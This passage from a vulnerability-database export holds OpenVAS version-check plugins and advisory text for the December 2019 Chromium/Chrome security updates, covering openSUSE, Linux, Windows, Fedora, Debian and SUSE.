CVE-2019-13756: Fixed an incorrect security UI in printing\n\n - CVE-2019-13757: Fixed an incorrect security UI in Omnibox\n\n - CVE-2019-13758: Fixed an insufficient policy enforcement in navigation\n\n - CVE-2019-13759: Fixed an incorrect security UI in interstitials\n\n - CVE-2019-13761: Fixed an incorrect security UI in Omnibox\n\n - CVE-2019-13762: Fixed an insufficient policy enforcement in downloads\n\n - CVE-2019-13763: Fixed an insufficient policy enforcement in payments\n\n Patch Instructions:\n\n To install this openSUSE Security U ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'chromium' package(s) on openSUSE Leap 15.1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver\", rpm:\"chromedriver~79.0.3945.79~lp151.2.51.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver-debuginfo\", rpm:\"chromedriver-debuginfo~79.0.3945.79~lp151.2.51.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium\", rpm:\"chromium~79.0.3945.79~lp151.2.51.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debuginfo\", rpm:\"chromium-debuginfo~79.0.3945.79~lp151.2.51.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debugsource\", rpm:\"chromium-debugsource~79.0.3945.79~lp151.2.51.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T14:38:55", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2019-12-18T00:00:00", "published": "2019-12-12T00:00:00", "id": "OPENVAS:1361412562310815872", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815872", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-Linux", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815872\");\n script_version(\"2019-12-18T09:57:42+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\",\n \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\",\n \"CVE-2019-13735\", \"CVE-2019-13764\", \"CVE-2019-13736\", \"CVE-2019-13737\",\n \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\",\n \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\",\n \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\",\n \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\",\n \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\",\n \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\",\n \"CVE-2019-13763\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-12-18 09:57:42 +0000 (Wed, 18 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-12-12 12:30:31 +0530 (Thu, 12 Dec 2019)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-Linux\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws are due to,\n\n - Multiple use after free errors in Bluetooth, WebSockets, WebAudio.\n\n - A heap buffer overflow error in password manager.\n\n - An insufficient policy enforcement in WebSockets.\n\n - Multiple out of bounds write errors in V8, SQLite.\n\n - A type confusion error in V8.\n\n - An integer overflow error in PDFium.\n\n - An insufficient policy enforcement in autocomplete, navigation, cookies, audio, omnibox, developer tools, extensions, downloads and payments.\n\n - An incorrect security UI in Omnibox, sharing, external protocol handling, printing, interstitials.\n\n - An insufficient validation of untrusted input in Blink.\n\n - An uninitialized use in rendering.\n\n - An insufficient data validation in SQLite.\n\n - An uninitialized use in SQLite.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to disclose sensitive information, execute arbitrary code, bypass security\n restrictions and cause denial of service condition.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 79.0.3945.79 on Windows\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version 79.0.3945.79\n or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html\");\n script_xref(name:\"URL\", value:\"https://www.google.com/chrome\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_lin.nasl\");\n script_mandatory_keys(\"Google-Chrome/Linux/Ver\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"79.0.3945.79\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"79.0.3945.79\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T14:36:36", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2019-12-18T00:00:00", "published": "2019-12-12T00:00:00", "id": "OPENVAS:1361412562310815871", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815871", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-Windows", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815871\");\n script_version(\"2019-12-18T09:57:42+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\",\n \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\",\n \"CVE-2019-13735\", \"CVE-2019-13764\", \"CVE-2019-13736\", \"CVE-2019-13737\",\n \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\",\n \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\",\n \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\",\n \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\",\n \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\",\n \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\",\n \"CVE-2019-13763\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-12-18 09:57:42 +0000 (Wed, 18 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-12-12 12:30:31 +0530 (Thu, 12 Dec 2019)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop-2019-12)-Windows\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws are due to,\n\n - Multiple use after free errors in Bluetooth, WebSockets, WebAudio.\n\n - A heap buffer overflow error in password manager.\n\n - An insufficient policy enforcement in WebSockets.\n\n - Multiple out of bounds write errors in V8, SQLite.\n\n - A type confusion error in V8.\n\n - An integer overflow error in PDFium.\n\n - An insufficient policy enforcement in autocomplete, navigation, cookies, audio, omnibox, developer tools, extensions, downloads and payments.\n\n - An incorrect security UI in Omnibox, sharing, external protocol handling, printing, interstitials.\n\n - An insufficient validation of untrusted input in Blink.\n\n - An uninitialized use in rendering.\n\n - An insufficient data validation in SQLite.\n\n - An uninitialized use in SQLite.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to disclose sensitive information, execute arbitrary code, bypass security\n restrictions and cause denial of service condition.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 79.0.3945.79 on Windows\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version 79.0.3945.79\n or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"registry\");\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html\");\n script_xref(name:\"URL\", value:\"https://www.google.com/chrome\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_win.nasl\");\n script_mandatory_keys(\"GoogleChrome/Win/Ver\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"79.0.3945.79\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"79.0.3945.79\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-29T18:32:23", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "The remote host is missing an update for the ", "modified": "2020-01-28T00:00:00", "published": "2020-01-27T00:00:00", "id": "OPENVAS:1361412562310877374", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877374", "type": "openvas", "title": "Fedora: Security Advisory for chromium (FEDORA-2020-4355ea258e)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877374\");\n script_version(\"2020-01-28T10:45:23+0000\");\n script_cve_id(\"CVE-2020-6377\", \"CVE-2019-13767\", \"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13764\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-28 10:45:23 +0000 (Tue, 28 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-27 09:25:03 +0000 (Mon, 27 Jan 2020)\");\n script_name(\"Fedora: Security Advisory for chromium (FEDORA-2020-4355ea258e)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC30\");\n\n script_xref(name:\"FEDORA\", value:\"2020-4355ea258e\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/N5CIQCVS6E3ULJCNU7YJXJPO2BLQZDTK\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the FEDORA-2020-4355ea258e advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Chromium is an open-source web browser, powered by WebKit (Blink).\");\n\n script_tag(name:\"affected\", value:\"'chromium' package(s) on Fedora 30.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC30\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium\", rpm:\"chromium~79.0.3945.117~1.fc30\", rls:\"FC30\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-21T14:50:14", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2020-6379", "CVE-2019-13748", "CVE-2019-13755", "CVE-2020-6380", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2020-6378", "CVE-2019-13747"], "description": "The remote host is missing an update for the ", "modified": "2020-01-21T00:00:00", "published": "2020-01-21T00:00:00", "id": "OPENVAS:1361412562310704606", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704606", "type": "openvas", "title": "Debian Security Advisory DSA 4606-1 (chromium - security update)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704606\");\n script_version(\"2020-01-21T04:00:40+0000\");\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\", \"CVE-2019-13767\", \"CVE-2020-6377\", \"CVE-2020-6378\", \"CVE-2020-6379\", \"CVE-2020-6380\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-21 04:00:40 +0000 (Tue, 21 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-21 04:00:40 +0000 (Tue, 21 Jan 2020)\");\n script_name(\"Debian Security Advisory DSA 4606-1 (chromium - security update)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB10\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2020/dsa-4606.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DSA-4606-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the DSA-4606-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Several vulnerabilities have been discovered in the chromium web browser.\n\nCVE-2019-13725\nGengming Liu and Jianyu Chen discovered a use-after-free issue in the\nbluetooth implementation.\n\nCVE-2019-13726\nSergei Glazunov discovered a buffer overflow issue.\n\nCVE-2019-13727\n@piochu discovered a policy enforcement error.\n\nCVE-2019-13728\nRong Jian and Guang Gong discovered an out-of-bounds write error in the\nv8 javascript library.\n\nCVE-2019-13729\nZhe Jin discovered a use-after-free issue.\n\nCVE-2019-13730\nSoyeon Park and Wen Xu discovered the use of a wrong type in the v8\njavascript library.\n\nCVE-2019-13732\nSergei Glazunov discovered a use-after-free issue in the WebAudio\nimplementation.\n\nCVE-2019-13734\nWenxiang Qian discovered an out-of-bounds write issue in the sqlite\nlibrary.\n\nCVE-2019-13735\nGengming Liu and Zhen Feng discovered an out-of-bounds write issue in the\nv8 javascript library.\n\nCVE-2019-13736\nAn integer overflow issue was discovered in the pdfium library.\n\nCVE-2019-13737\nMark Amery discovered a policy enforcement error.\n\nCVE-2019-13738\nJohnathan Norman and Daniel Clark discovered a policy enforcement error.\n\nCVE-2019-13739\nxisigr discovered a user interface error.\n\nCVE-2019-13740\nKhalil Zhani discovered a user interface error.\n\nCVE-2019-13741\nMicha? Bentkowski discovered that user input could be incompletely\nvalidated.\n\nCVE-2019-13742\nKhalil Zhani discovered a user interface error.\n\nCVE-2019-13743\nZhiyang Zeng discovered a user interface error.\n\nCVE-2019-13744\nPrakash discovered a policy enforcement error.\n\nCVE-2019-13745\nLuan Herrera discovered a policy enforcement error.\n\nCVE-2019-13746\nDavid Erceg discovered a policy enforcement error.\n\nCVE-2019-13747\nIvan Popelyshev and Andre Bonatti discovered an uninitialized value.\n\nCVE-2019-13748\nDavid Erceg discovered a policy enforcement error.\n\nCVE-2019-13749\nKhalil Zhani discovered a user interface error.\n\nCVE-2019-13750\nWenxiang Qian discovered insufficient validation of data in the sqlite\nlibrary.\n\nCVE-2019-13751\nWenxiang Qian discovered an uninitialized value in the sqlite library.\n\nCVE-2019-13752\nWenxiang Qian discovered an out-of-bounds read issue in the sqlite\nlibrary.\n\nCVE-2019-13753\nWenxiang Qian discovered an out-of-bounds read issue in the sqlite\nlibrary.\n\nCVE-2019-13754\nCody Crews discovered a policy enforcement error.\n\nCVE-2019-13755\nMasato Kinugawa discovered a policy enforcement error.\n\nCVE-2019-13756\nKhalil Zhani discovered a user interface error.\n\nCVE-2019-13757\nKhalil Zhani discovered a user interface error.\n\nCVE-2019-13758\nKhalil Zhani discovered a policy enforecement error.\n\nCVE-2019-13759\nWenxu Wu discovered a ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'chromium' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For the oldstable distribution (stretch), security support for chromium has\nbeen discontinued.\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 79.0.3945.130-1~deb10u1.\n\nWe recommend that you upgrade your chromium packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"chromium\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"chromium-common\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"chromium-driver\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"chromium-l10n\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"chromium-sandbox\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"chromium-shell\", ver:\"79.0.3945.130-1~deb10u1\", rls:\"DEB10\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2019-12-18T18:21:07", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to 79.0.3945.79 (boo#1158982)\n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n - CVE-2019-13726: Fixed a heap buffer overflow in password manager\n - CVE-2019-13727: Fixed an insufficient policy enforcement in WebSockets\n - CVE-2019-13728: Fixed an out of bounds write in V8\n - CVE-2019-13729: Fixed a use after free in WebSockets\n - CVE-2019-13730: Fixed a type Confusion in 